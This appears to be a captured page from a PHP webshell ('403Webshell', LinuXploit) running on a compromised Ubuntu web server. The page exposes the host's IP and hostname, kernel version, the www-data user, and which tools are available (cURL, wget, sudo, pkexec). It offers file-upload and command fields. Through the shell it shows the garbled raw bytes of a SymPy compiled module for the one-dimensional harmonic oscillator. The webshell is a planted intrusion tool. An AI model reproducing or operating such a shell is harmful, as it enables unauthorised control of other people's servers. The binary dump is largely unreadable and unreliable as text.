403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sympy/physics/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/sympy/physics/__pycache__/qho_1d.cpython-310.pyc
o

�8Va��@sXddlmZmZmZddlmZmZmZmZm	Z	ddl
mZdd�Zdd�Z
dd	�Zd
S)�)�S�pi�Rational)�hermite�sqrt�exp�	factorial�Abs)�hbarcCs|tt||||g�\}}}}||t}|ttdd�tdd|t|��}|t||dd�t|t|�|�S)aZ
    Returns the wavefunction psi_{n} for the One-dimensional harmonic oscillator.

    Parameters
    ==========

    ``n`` :
        the "nodal" quantum number.  Corresponds to the number of nodes in the
        wavefunction.  ``n >= 0``
    ``x`` :
        x coordinate.
    ``m`` :
        Mass of the particle.
    ``omega`` :
        Angular frequency of the oscillator.

    Examples
    ========

    >>> from sympy.physics.qho_1d import psi_n
    >>> from sympy.abc import m, x, omega
    >>> psi_n(0, x, m, omega)
    (m*omega)**(1/4)*exp(-m*omega*x**2/(2*hbar))/(hbar**(1/4)*pi**(1/4))

    ���)	�maprr
rrrrrr)�n�x�m�omega�nu�C�r�6/usr/lib/python3/dist-packages/sympy/physics/qho_1d.py�psi_ns*,rcCst||tjS)a
    Returns the Energy of the One-dimensional harmonic oscillator.

    Parameters
    ==========

    ``n`` :
        The "nodal" quantum number.
    ``omega`` :
        The harmonic oscillator angular frequency.

    Notes
    =====

    The unit of the returned value matches the unit of hw, since the energy is
    calculated as:

        E_n = hbar * omega*(n + 1/2)

    Examples
    ========

    >>> from sympy.physics.qho_1d import E_n
    >>> from sympy.abc import x, omega
    >>> E_n(x, omega)
    hbar*omega*(x + 1/2)
    )r
r�Half)rrrrr�E_n*srcCs*tt|�dd�||tt|��S)a
    Returns <n|alpha> for the coherent states of 1D harmonic oscillator.
    See https://en.wikipedia.org/wiki/Coherent_states

    Parameters
    ==========

    ``n`` :
        The "nodal" quantum number.
    ``alpha`` :
        The eigen value of annihilation operator.
    r
)rr	rr)r�alpharrr�coherent_stateJs*rN)�
sympy.corerrr�sympy.functionsrrrrr	�sympy.physics.quantum.constantsr
rrrrrrr�<module>s$ 

Youez - 2016 - github.com/yon3zu
LinuXploit